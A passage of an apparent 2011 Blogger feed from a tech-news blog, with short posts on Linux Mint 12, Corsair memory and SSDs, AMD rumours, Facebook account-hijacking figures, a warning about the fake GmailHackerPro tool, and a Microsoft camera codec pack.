href="http://adf.ly/3uOrC"&gt;CEHv7 Security Professionals&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6732170091637575462?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6732170091637575462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6732170091637575462' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6732170091637575462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6732170091637575462'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/12/blackberry-10.html' title='BlackBerry 10'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4526098876629556006</id><published>2011-12-09T23:36:00.000-08:00</published><updated>2011-12-09T23:36:07.193-08:00</updated><title type='text'>Linux Mint 12</title><content type='html'>The developper team Linux Mint today officially decleread that Linux Mint 12 codenamed “Lisa” has arrived. The project’s lead developer, Clement Lefebvre, also announced the project has made its first income-raising deal with a Partnership with search engine company DuckDuckGo. In Linux Mint 12,DuckDuckGo will be the default search engine.&lt;br /&gt;The Linux Mint project aims to deliver a Linux distribution that is more user friendly and provides a more complete out-of-the-box experience by including support for DVD playback, Java, plug-ins and various media codecs. Linux Mint 12 is based on the 3.0 Linux kernel and moves from the GNOME 2.32desktop environment to the sometimes controversial GNOME 3, specifically version 3.2. To address issues users have had with the change in the desktop and workflow between GNOME 2 and 3, the Mint developers have created the Mint Gnome Shell Extensions (MGSE). These extensions add a number of the traditional desktop elements that Mint and GNOME 2 users are used to, such as a start menu and window list at the bottom of the screen. A new “Mint-Z” desktop theme and set of wallpapers are also included.&lt;br /&gt;&lt;a href="http://adf.ly/45cB1"&gt;&lt;br /&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4526098876629556006?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4526098876629556006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4526098876629556006' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4526098876629556006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4526098876629556006'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/12/linux-mint-12.html' title='Linux Mint 12'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8676779538789811512</id><published>2011-12-05T09:13:00.000-08:00</published><updated>2011-12-05T09:13:20.831-08:00</updated><title type='text'>Vengeance Corsair SODIMM</title><content type='html'>&lt;a href="http://www.thatcoin.com/2011/12/vengeance-corsair-sodimm-notebook-memory/"&gt;Vengeance Corsair SODIMM&lt;/a&gt; type of memory for notebooks, made for the 8 and 4GB capacities. The speed of 1600Mhz and 1866Mhz memory.&lt;br /&gt;Vengeance is adequate SODIMM Memory installed on the notebook without the need to do through the BIOS setup.&lt;br /&gt;Corsair offers Vengenace SODIMM configuration with 8GB (2X4GB) and 4GB (1X4GB). Latency for a top speed of 1866Mhz 10-10-10-27, and for 1600Mhz 9-9-9-24.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/3hsuY "&gt;Intel Haswell Processors&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;script type="text/javascript"&gt;ch_client = "hemlet";ch_width = 334;ch_height = 100;ch_type = "mpu";ch_sid = "thatcoin";ch_backfill = 1;ch_color_site_link = "#050100";ch_color_title = "#050100";ch_color_border = "#FFFFFF";ch_color_text = "#000000";ch_color_bg = "#FFFCFA";&lt;/script&gt;&lt;br /&gt;&lt;script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript"&gt;&lt;/script&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8676779538789811512?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8676779538789811512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8676779538789811512' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8676779538789811512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8676779538789811512'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/12/vengeance-corsair-sodimm.html' title='Vengeance Corsair SODIMM'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6762680124380565618</id><published>2011-11-26T06:34:00.000-08:00</published><updated>2011-11-26T06:34:43.598-08:00</updated><title type='text'>XDR2</title><content type='html'>Last September there were reports that AMD will be playing with the second-generation XDR. New rumors emerged from a Chinese site that AMD actually use the technology &lt;a href="http://www.thatcoin.com/2011/11/vga-card-xdr2-rumors/"&gt;XDR2&lt;/a&gt; to VGA on board. XDR2 developed by Rambus, memory speed XDR2 now 2x faster than GDDR5.&lt;br /&gt;Strong issue can become a reality, considering that in 2006 there were an agreement between AMD and Rambus will exchange technology licensing payments.&lt;br /&gt;AMD GPU chip next highest are named Tahiti, is said to use XDR2 and GDDR5. XDR2 model will be used for the top model, whereas VGA is cheaper with the same model could be using GDDR5&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/11/vga-card-xdr2-rumors/"&gt;source&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6762680124380565618?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6762680124380565618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6762680124380565618' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6762680124380565618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6762680124380565618'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/11/xdr2.html' title='XDR2'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8292407765384251248</id><published>2011-11-22T02:21:00.000-08:00</published><updated>2011-11-22T02:21:20.853-08:00</updated><title type='text'>Thousand Facebook accounts has been hijacked</title><content type='html'>Facebook in his blog entry reveals there are 600 thousand log-ins every day, but not owned by the account owner.&lt;br /&gt;Facebook issued a data approximately 0.06% of 1 billion odd login. In addition there are Facebook members get 0.5% of spam.&lt;br /&gt;Facebook took a new step by asking Facebook members to name three close associates who can be believed. When a Facebook member account hijacked or taken by someone else, Facebook will send the key to the co-owner of the account. Later, your partner can help send its data back to the rightful owners.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://adf.ly/3d8Y5 "&gt;Microsoft Patch Exploit Duqu Malware&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/11/thousand-facebook-accounts-has-been-hijacked/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8292407765384251248?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8292407765384251248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8292407765384251248' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8292407765384251248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8292407765384251248'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/11/thousand-facebook-accounts-has-been.html' title='Thousand Facebook accounts has been hijacked'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6198127141186437590</id><published>2011-11-19T01:12:00.000-08:00</published><updated>2011-11-19T01:12:37.921-08:00</updated><title type='text'>Corsair Performance Pro Series SSD</title><content type='html'>Corsair Performance Pro Series, The lastest SSDD  has a top speed of ATTO Benchmark, 525 / 440 MB / s for read and write. &lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/11/corsair-performance-pro-series-ssd/"&gt;Corsair Performance Pro Series&lt;/a&gt; is using the controller chip made by Marvell for SSD. The capacity of 128GB on sale for $ 280, while the 256GB $ 530. &lt;br /&gt;Corsair provides warranty for 3 years, currently only available for 2 capacity&lt;br /&gt;&lt;a href="http://adf.ly/3hsy1"&gt;&lt;br /&gt;How to Disabling ATI High Definition Audio&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://thatcoin.com"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6198127141186437590?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6198127141186437590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6198127141186437590' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6198127141186437590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6198127141186437590'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/11/corsair-performance-pro-series-ssd.html' title='Corsair Performance Pro Series SSD'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1020797500088344575</id><published>2011-11-08T21:33:00.000-08:00</published><updated>2011-11-08T21:33:26.744-08:00</updated><title type='text'>How to Disabling ATI High Definition Audio</title><content type='html'>VGA ATI HD Audio feature. These features are not required when the computer has an internal or external sound card for OS Windows XP&lt;br /&gt;&lt;br /&gt;Problems arise when inadvertently &lt;a href="http://www.thatcoin.com/2011/11/disable-ati-high-definition-audio/"&gt;ATI High Definition Audio&lt;/a&gt; driver appears with the message Unknown hardware and ask for the install. When the user click OK to locate the driver from the computer,, then the computer will search for drivers on the old computer. Away with it, drivers suddenly discovered, in the click OK and already be active. We will be happy because the drivers have been found and the signs have disappeared Unknown hardware&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/11/disable-ati-high-definition-audio/"&gt;&lt;br /&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1020797500088344575?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1020797500088344575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1020797500088344575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1020797500088344575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1020797500088344575'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/11/how-to-disabling-ati-high-definition.html' title='How to Disabling ATI High Definition Audio'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-177036701624515811</id><published>2011-11-05T02:36:00.000-07:00</published><updated>2011-11-05T02:36:13.744-07:00</updated><title type='text'>Taking Care Of Laptop Batteries</title><content type='html'>Tips on caring for batteries laptop / notebook / netbook so durable and long lasting or age longer. Each battery has a life that has been determined based on the number of charging cycles performed, in addition to temperature and how to care also for determining the age of the laptop battery. Here’s how to care for long-lasting laptop batteries in the use and capacity of the battery is not easily reduced.&lt;br /&gt;How to take care of laptop batteries are:&lt;br /&gt;&lt;br /&gt;Perform a full charge on your new &lt;a href="http://www.thatcoin.com/2011/11/taking-care-of-laptop-batteries/"&gt;laptop battery&lt;/a&gt; and let a few hours after fully charged.&lt;br /&gt;Replace the battery after a full charge (fully charged 100%), the battery does not need to be removed if the temperature of the CPU and Hard Disk (HDD) ranged between 40 ° C to 50 ° C. Although the charge is full, the incoming electrical energy will not charge the battery, because the battery technology is now able to stop charging if it is full, so no need to fear the battery will become worn out due to over-charged which causes over-heat the battery. ... &lt;a href="http://www.thatcoin.com/2011/11/taking-care-of-laptop-batteries/"&gt;Keep reading&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-177036701624515811?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/177036701624515811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=177036701624515811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/177036701624515811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/177036701624515811'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/11/taking-care-of-laptop-batteries.html' title='Taking Care Of Laptop Batteries'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2751319111710466312</id><published>2011-10-26T09:31:00.001-07:00</published><updated>2011-10-26T09:32:09.301-07:00</updated><title type='text'>Web Programming</title><content type='html'>In making the web, then you will not regardless of what programming language name. Programming language is a technique of command / instruction standards to govern the computer.&lt;br /&gt;Here is an explanation of any programming language used to create a website:&lt;br /&gt;&lt;br /&gt;HTML Programming Languages&lt;br /&gt;&lt;br /&gt;HyperText Markup Language (HTML) is a markup language used to create a web page and displays various information in an Internet browser.&lt;br /&gt;HTML is now an Internet standard defined and controlled use by the World Wide Web Consortium (W3C).&lt;br /&gt;HTML form tag code that instructs the browser to produce a display according to the desired.&lt;br /&gt;A file is an HTML file can be opened by using a web browser such as Mozilla Firefox or Microsoft Internet Explorer.&lt;br /&gt;&lt;br /&gt;PHP Programming Language&lt;br /&gt;&lt;br /&gt;PHP is a scripting programming language most widely used today.&lt;br /&gt;PHP was first created by Rasmus Lerdorf in 1995. At that time, PHP was named FI (Form Interpreted), which is his form of a set of scripts used to process the form data from the web.&lt;br /&gt;PHP is widely used to create dynamic web sites, although it was likely used for other usage.&lt;br /&gt;PHP generally runs on the Linux operating system (PHP can also be run with Windows hosting).&lt;br /&gt;&lt;br /&gt;Keep reading…&lt;br /&gt;&lt;br /&gt;ASP Programming Languages&lt;br /&gt;&lt;br /&gt;ASP stands for Active Server Pages which is one of the web programming language for creating dynamic web pages.&lt;br /&gt;ASP is one product technology provided by Microsoft.&lt;br /&gt;ASP works on a web server and a server side scripting.&lt;br /&gt;&lt;br /&gt;XML Programming Language&lt;br /&gt;&lt;br /&gt;Extensible Markup Language (XML) is a versatile markup language recommended W3C for describing various kinds of data.&lt;br /&gt;XML uses markup tags such as HTML, but its use is not limited to a single web page display.&lt;br /&gt;XML is a method of making bookmarks / markup in a document.&lt;br /&gt;&lt;br /&gt;WML Programming Language&lt;br /&gt;&lt;br /&gt;WML stands for Wireless Markup Language, the programming language used in applications based on XML (eXtensible Markup Langauge).&lt;br /&gt;WML is a programming language that is used in wireless applications.&lt;br /&gt;WML is an analogy of HTML that run on wireless protocol.&lt;br /&gt;&lt;br /&gt;PERL Programming Language&lt;br /&gt;&lt;br /&gt;Perl is a programming language for machines with Unix operating systems (SunOS, Linux, BSD, HP-UX), are also available for operating systems like DOS, Windows, PowerPC, BeOS, VMS, EBCDIC, and PocketPC.&lt;br /&gt;PERL is a programming language-like programming language C.&lt;br /&gt;&lt;br /&gt;CFM Programming Language&lt;br /&gt;&lt;br /&gt;Cfm created using ColdFusion tagged with software Adobe ColdFusion / BlueDragon / Coldfusion Studio.&lt;br /&gt;Syntax based coldfusion html.&lt;br /&gt;&lt;br /&gt;Javascript Programming Language&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2011/10/web-programming-languages/"&gt;Keep reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2751319111710466312?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2751319111710466312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2751319111710466312' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2751319111710466312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2751319111710466312'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/10/in-making-web-then-you-will-not.html' title='Web Programming'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8962045091187985093</id><published>2011-10-24T10:43:00.000-07:00</published><updated>2011-10-24T10:45:06.178-07:00</updated><title type='text'>Bluestacks Software Emulator</title><content type='html'>&lt;a href="http://www.thatcoin.com/2011/10/bluestacks-android-player-for-windows-7/"&gt;Bluestacks Android&lt;/a&gt; is a software emulator for the PC in Windows 7 OS. Running multiple applications from the Android bundled software such as games of Android on your PC.&lt;br /&gt;&lt;br /&gt;Alpha version of the package has a size of 116MB, there are 10 applications provided on the software.&lt;br /&gt;Play Android apps fast and full-screen&lt;br /&gt;Push your favorite apps from your Android phone to your PC using Cloud Connect BlueStacks.&lt;br /&gt;Run 10 pre-loaded apps "out of the box"&lt;br /&gt;Install up to 26 more of your favorite apps&lt;br /&gt;May not work fast on older netbooks and tablets&lt;br /&gt;Available now for Win7, and it's Free&lt;br /&gt;Mirror :&lt;br /&gt;&lt;a href="http://adf.ly/3LLry" target="_blank"&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/10/bluestacks-android-player-for-windows-7/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8962045091187985093?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8962045091187985093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8962045091187985093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8962045091187985093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8962045091187985093'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/10/bluestacks-software-emulator.html' title='Bluestacks Software Emulator'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4359127379459202248</id><published>2011-10-21T10:41:00.000-07:00</published><updated>2011-10-21T10:41:00.015-07:00</updated><title type='text'>GmailHackerPro Scammers</title><content type='html'>Many are interested in trying the software to see the passwords of others. One more type of scammer glanced deceive those who prefer e-mail password. Called GmailHackerPro, the software is no function but seem to work.&lt;br /&gt;When used, &lt;a href="http://www.thatcoin.com/2011/10/gmailhackerpro-scammers-software/ "&gt;GmailHackerPro&lt;/a&gt; will work like a smart software that is able to open Gmail password. After pretend completed, it will pop up a window that the program's version of the Trial and asking for payment.&lt;br /&gt;&lt;br /&gt;Although GmailHackerPro users already paid and receive a serial number software. Apparently the software is not working eyebrows deceptive trickery&lt;br /&gt;&lt;a href="http://adf.ly/3JYRx"&gt;&lt;br /&gt;Keep Reading&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4359127379459202248?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4359127379459202248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4359127379459202248' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4359127379459202248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4359127379459202248'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/10/gmailhackerpro-scammers.html' title='GmailHackerPro Scammers'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-9194108061385974376</id><published>2011-10-19T06:25:00.000-07:00</published><updated>2011-10-19T06:25:08.851-07:00</updated><title type='text'>Bulldozer WaterCooler</title><content type='html'>&lt;a href="http://adf.ly/3HCWU "&gt;AMD Bulldozer&lt;/a&gt; has a maximum of 8 cores. Now turn to AMD lowers the cooling water cooler for processor. One picture had appeared and called the FX on the logo box of Xfastest. Not yet known whether the product below is the official heatsink from AMD for the type of water cooler.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/10/amd-bulldozer-watercooler/ "&gt;Thatcoin.com&lt;/a&gt; ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-9194108061385974376?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/9194108061385974376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=9194108061385974376' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9194108061385974376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9194108061385974376'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/10/bulldozer-watercooler.html' title='Bulldozer WaterCooler'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2212753977071114067</id><published>2011-10-11T09:40:00.000-07:00</published><updated>2011-10-11T09:40:09.766-07:00</updated><title type='text'>Microsoft Camera Codec Driver Download</title><content type='html'>The Microsoft Camera Codec Pack enables the viewing of a variety of device-specific file formats in Window Live Photo Gallery as well as other software that is based in Windows Imaging Codecs (WIC).&lt;br /&gt;Installing this package will allow supported RAW camera files to be viewable in Windows Explorer.&lt;br /&gt;This package is available in both the x86 and x64 versions .&lt;br /&gt;The Microsoft Camera Codec Pack provides support for the following device formats:&lt;br /&gt;&lt;br /&gt;Canon: EOS 1000D (EOS Kiss F in Japan and the EOS Rebel XS in North America), EOS 10D, EOS 1D Mk2, EOS 1D Mk3, EOS 1D Mk4, EOS 1D Mk2 N, EOS 1Ds Mk2, EOS 1Ds Mk3, EOS 20D, EOS 300D (the Kiss Digital in Japan and the Digital Rebel in North America) , EOS 30D, EOS 350D (the Canon EOS Kiss Digital N in Japan and EOS Digital Rebel XT in North America), EOS 400D (the Kiss Digital X in Japan and the Digital Rebel XTi in North America), EOS 40D, EOS 450D (EOS Kiss X2 in Japan and the EOS Rebel XSi in North America), EOS 500D (EOS Kiss X3 in Japan and the EOS Rebel T1i in North America), EOS 550D (EOS Kiss X4 in Japan, and as the EOS Rebel T2i in North America), EOS 50D, EOS 5D, EOS 5D Mk2, EOS 7D, EOS D30, EOS D60, G2, G3, G5, G6, G9, G10, G11, Pro1, S90&lt;br /&gt;Nikon: D100, D1H, D200, D2H, D2Hs, D2X, D2Xs, D3, D3s, D300, D3000, D300s, D3X, D40, D40x, D50, D5000, D60, D70, D700, D70s, D80, D90, P6000&lt;br /&gt;Sony: A100, A200, A230, A300, A330, A350, A380, A700, A850, A900, DSC-R1&lt;br /&gt;Olympus: C7070, C8080, E1, E10, E20, E3, E30, E300, E330, E400, E410, E420, E450, E500, E510, E520, E620, EP1&lt;br /&gt;Pentax (PEF formats only): K100D, K100D Super, K10D, K110D, K200D, K20D, K7, K-x, *ist D, *ist DL, *ist DS&lt;br /&gt;Leica: Digilux 3, D-LUX4, M8, M9&lt;br /&gt;Minolta: DiMage A1, DiMage A2, Maxxum 7D (Dynax 7D in Europe, α-7 Digital in Japan)&lt;br /&gt; Epson: RD1&lt;br /&gt;Panasonic: G1, GH1, GF1, LX3&lt;br /&gt;&lt;br /&gt;Clicking Download means you agree to the &lt;a href="http://explore.live.com/microsoft-service-agreement" target="_blank"&gt;Microsoft Service Agreement&lt;/a&gt; and &lt;a href="http://privacy.microsoft.com/en-us/default.mspx" target="_blank"&gt;privacy statement&lt;/a&gt;, &lt;a href="http://explore.live.com/windows-live-essentials-update-windows-live-programs-"&gt;Learn more&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Third Party Legal Notices&lt;br /&gt;This product contains software licensed under terms which require Microsoft to display the following notice(s):&lt;br /&gt;&lt;br /&gt;    For LibTif only:&lt;br /&gt;        Note: While Microsoft is not the author of this file, Microsoft is offering you a license subject to the terms of the end user license agreement for LIBTIF. Microsoft reserves all other rights. The notices below are provided for informational purposes only and are not the license terms under which Microsoft distributed this file.&lt;br /&gt;        Copyright (c) 1988-1997 Sam Leffler&lt;br /&gt;        Copyright (c) 1991-1997 Silicon Graphics, Inc.&lt;br /&gt;        Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that (i) the above copyright notices and this permission notice appear in all copies of the software and related documentation, and (ii) the names of Sam Leffler and Silicon Graphics may not be used in any advertising or publicity relating to the software without the specific, prior written permission of Sam Leffler and Silicon 